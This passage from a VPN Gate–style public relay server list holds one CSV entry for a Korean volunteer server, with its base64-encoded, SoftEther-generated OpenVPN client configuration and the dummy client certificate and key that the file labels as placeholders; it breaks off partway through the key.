eSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn330745690,14.33.164.64,509026,33,360700372,Korea Republic of,KR,0,0,817,75498229297,2weeks,DESKTOP-1NBOMQ5's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNC4zMy4xNjQuNjQgOTk1DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQw